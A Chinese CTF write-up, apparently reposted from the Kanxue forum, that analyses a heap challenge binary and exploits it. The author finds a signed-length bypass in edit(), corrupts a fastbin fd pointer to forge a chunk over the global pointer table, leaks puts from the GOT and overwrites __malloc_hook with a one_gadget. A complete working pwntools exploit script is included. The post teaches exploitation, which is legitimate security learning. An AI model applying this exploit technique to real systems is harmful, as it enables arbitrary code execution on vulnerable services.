本文为看雪论坛优秀文章
看雪论坛作者ID:LeaMov
一
程序分析
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
interface();
}
void __noreturn interface()
{
int choice; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
while ( 1 )
{
while ( 1 )
{
menu();// 打印菜单;输入1:申请heap;输入2:释放heap;输入3:打印Heap;输入4:编辑Heap
__isoc99_scanf("%d", &choice);
if ( choice != 1 )
break;
add();//申请heap,固定大小0x60,最多申请10个
}
switch ( choice )
{
case 2:
delete();//释放heap,不清空heap,但是heapList的指针会置0
break;
case 3:
show();//printf("%s",heapList[index]->heap)
break;
case 4:
edit();//编辑heap中内容,有长度检查,但不完全有:) !!!EXP Point!!!
break;
default:
exit(-1);
}
}
}
unsigned __int64 add()
{
unsigned int i; // [rsp+8h] [rbp-1018h]
unsigned int index; // [rsp+Ch] [rbp-1014h]
char v3[4096]; // [rsp+10h] [rbp-1010h] BYREF
unsigned __int64 v4; // [rsp+1018h] [rbp-8h]
v4 = __readfsqword(0x28u);
memset(v3, 0, sizeof(v3));
for ( i = 0; i <= 9; ++i )
{
if ( !*(&heapList + i) ) // 检测heapList下哪个索引没有使用
{
index = i;
break;
}
}
if ( i == 11 ) // 最多只能申请10个
{
puts("wrong");
exit(0);
}
*(&heapList + index) = malloc(0x60uLL); // 固定申请0x60字节并存放于全局变量heapList中
Size[index] = 96;//没什么D用
puts("Done");
return __readfsqword(0x28u) ^ v4;
}
unsigned __int64 delete()
{
unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Index:");
__isoc99_scanf("%d", &index);
if ( index > 0xB )
{
puts("wrong");
exit(0);
}
free(*(&heapList + index));
*(&heapList + index) = 0LL;//heap指针被置零了,没法double free
Size[index] = 0;
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 show()
{
unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Index:");
__isoc99_scanf("%d", &index);
if ( *(&heapList + index) )
printf("Content: %s\n", (const char *)*(&heapList + index));//从堆指针起始按字符串打印内容
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 edit()
{
int readLength; // [rsp+0h] [rbp-10h] BYREF
unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Index:");
__isoc99_scanf("%d", &index);//用户输入要编辑的heap索引
puts("Size:");
__isoc99_scanf("%d", &readLength);//用户输入要编辑的长度
if ( readLength <= 96 )//有长度检查,但不完全有,有符号数比较输入负数绕过
{
if ( *(&heapList + index) )
{
puts("Content:");
read(0, *(&heapList + index), (unsigned int)readLength);//read长度参数是无符号数
}
else
{
puts("wrong");
}
}
else
{
puts("wrong!");
}
return __readfsqword(0x28u) ^ v3;
}
根据IDA静态分析已知存在堆溢出漏洞,且申请的堆大小固定,释放后会进入fastbins,所以考虑通过篡改fastbin->fd来申请fakeChunk,现查找可利用的fd。
pwndbg> x/30gx 0x6020c0-0x50
0x602070: 0x0000000000000000 0x0000000000000000
0x602080 <[email protected]@GLIBC_2.2.5>: 0x00007ffff7bc4620 0x0000000000000000
0x602090 <[email protected]@GLIBC_2.2.5>: 0x00007ffff7bc38e0 0x0000000000000000
0x6020a0 <[email protected]@GLIBC_2.2.5>: 0x00007ffff7bc4540 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0 <heapList>: 0x0000000000000000 0x0000000000000000
0x6020d0 <heapList+16>: 0x0000000000000000 0x0000000000000000
0x6020e0 <heapList+32>: 0x0000000000000000 0x0000000000000000
0x6020f0 <heapList+48>: 0x0000000000000000 0x0000000000000000
0x602100 <heapList+64>: 0x0000000000000000 0x0000000000000000
0x602110: 0x0000000000000000 0x0000000000000000
0x602120 <Size>: 0x0000000000000000 0x0000000000000000
0x602130 <Size+16>: 0x0000000000000000 0x0000000000000000
0x602140 <Size+32>: 0x0000000000000000 0x0000000000000000
其中0x6020c0是全局变量heapList的地址,其中存着每一个heap的指针,如果可以将该指针修改就可以达到任意读/写,并且在heapList上方存在可利用的内容,通过字节错位将fd指针定于0x60209d,内存如下:
pwndbg> x/30gx 0x60209d
0x60209d: 0xfff7bc4540000000 0x000000000000007f
0x6020ad: 0x0000000000000000 0x0000000000000000
0x6020bd: 0x0000000000000000 0x0000000000000000
0x6020cd <ptr+13>: 0x0000000000000000 0x0000000000000000
0x6020dd <ptr+29>: 0x0000000000000000 0x0000000000000000
0x6020ed <ptr+45>: 0x0000000000000000 0x0000000000000000
0x6020fd <ptr+61>: 0x0000000000000000 0x0000000000000000
0x60210d <ptr+77>: 0x0000000000000000 0x0000000000000000
0x60211d: 0x0000000000000000 0x0000000000000000
0x60212d <Size+13>: 0x0000000000000000 0x0000000000000000
0x60213d <Size+29>: 0x0000000000000000 0x0000000000000000
可以看到若chunk->fd=0x60209d时,size字段为0x7f即0111 1111,而其中末4位为标志位高到低分别是PREV_INUSE IS_MMAPPED NON_MAIN_ARENA SIZE_BITS,既实际大小为0111 0000即0x70,由于我们申请的heap大小固定为0x60,加上字段大小后即0x70,最终的fastbins大小分类一致,可用作构造FakeChunk。
根据分析可以总结出一下三点:
二
漏洞利用及原理
所有根据程序菜单申请并释放的heap最终都将进入fastbins->0x70分类链表中。
edit()函数存在堆溢出导致可以随意篡改下方其它chunk的字段和内容。
全局变量heapList上方存在可利用内存区用以构造FakeChunk。
① 申请3个heap(大小均为0x60)。
② 先后释放#2和#1。
③ 通过edit()函数溢出并篡改heap#1的fd指针指向0x60209d。
④ 重新申请回#1和#2,此时#2已指向fakeChunk->0x60209d。
⑤ 通过edit()修改heap#2填充13字节的payload到达0x6020C0既heapList[0]并向其中填入[email protected]。
⑥ 通过show()函数打印出*heapList[0]即puts函数地址并计算出libcBase。
⑦ 通过edit()再次修改heap#2以篡改heapList[0]值为&__malloc_hook或&__free_hook。
⑧ 通过edit()修改heap#0以篡改__malloc_hook或__free_hook以执行oneGadget。
CTF竞赛权威指南(Pwn篇)->11.1.3章
三
Exploit
from pwn import *
prog = "./pwn"
local = False
context(os='linux', arch='amd64', log_level='debug')
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")
if local:
p = process(prog)
libc = ELF("/root/tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6")
#gdb.attach(p)
sleep(1)
else:
p = remote("challenge-9647de804cb6da45.sandbox.ctfhub.com",34306)
def add():
p.sendlineafter(">> ","1")
def show(index):
p.sendlineafter(">> ","3")
p.sendlineafter("Index:\n",str(index))
def dele(index):
p.sendlineafter(">> ","2")
p.sendlineafter("Index:\n",str(index))
def edit(index,content):
p.sendlineafter(">> ","4")
p.sendlineafter("Index:\n",str(index))
p.sendlineafter("Size:\n","-1")
p.sendafter("Content:\n",content)
add()#0
add()#1
add()#2
dele(2)
dele(1)
payload = b"\x99"*0x60
payload += b"\x11"*8
payload += p64(0x71)
payload += p64(0x60209d)
edit(0,payload)
add()#1
add()#2 fakeChunk->heapList-0x13
payload = b"\x66"*0x13
payload += p64(elf.got['puts'])
edit(2,payload) #此时heap#0指向[email protected]
show(0)
putsAddress = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
print("putsAddress ===========> {}".format(hex(putsAddress)))
libcBase = putsAddress - libc.sym['puts']
mallocHook = libcBase + libc.sym['__malloc_hook']
payload = b"\x66"*0x13
payload += p64(mallocHook)
edit(2,payload) #此时heap#0指向mallocHook
oneGadget = 0x45226+libcBase
edit(0,p64(oneGadget))#篡改mallocHook指向oneGadget
add()
p.interactive()
p.close()
看雪ID:LeaMov
https://bbs.kanxue.com/user-home-952954.htm
# 往期推荐
1、Relocate、PLT、GOT And Lazy Binding
3、无路远征——GLIBC2.37后时代的IO攻击之道 house_of_一骑当千
球分享
球点赞
球在看
点击“阅读原文”,了解更多!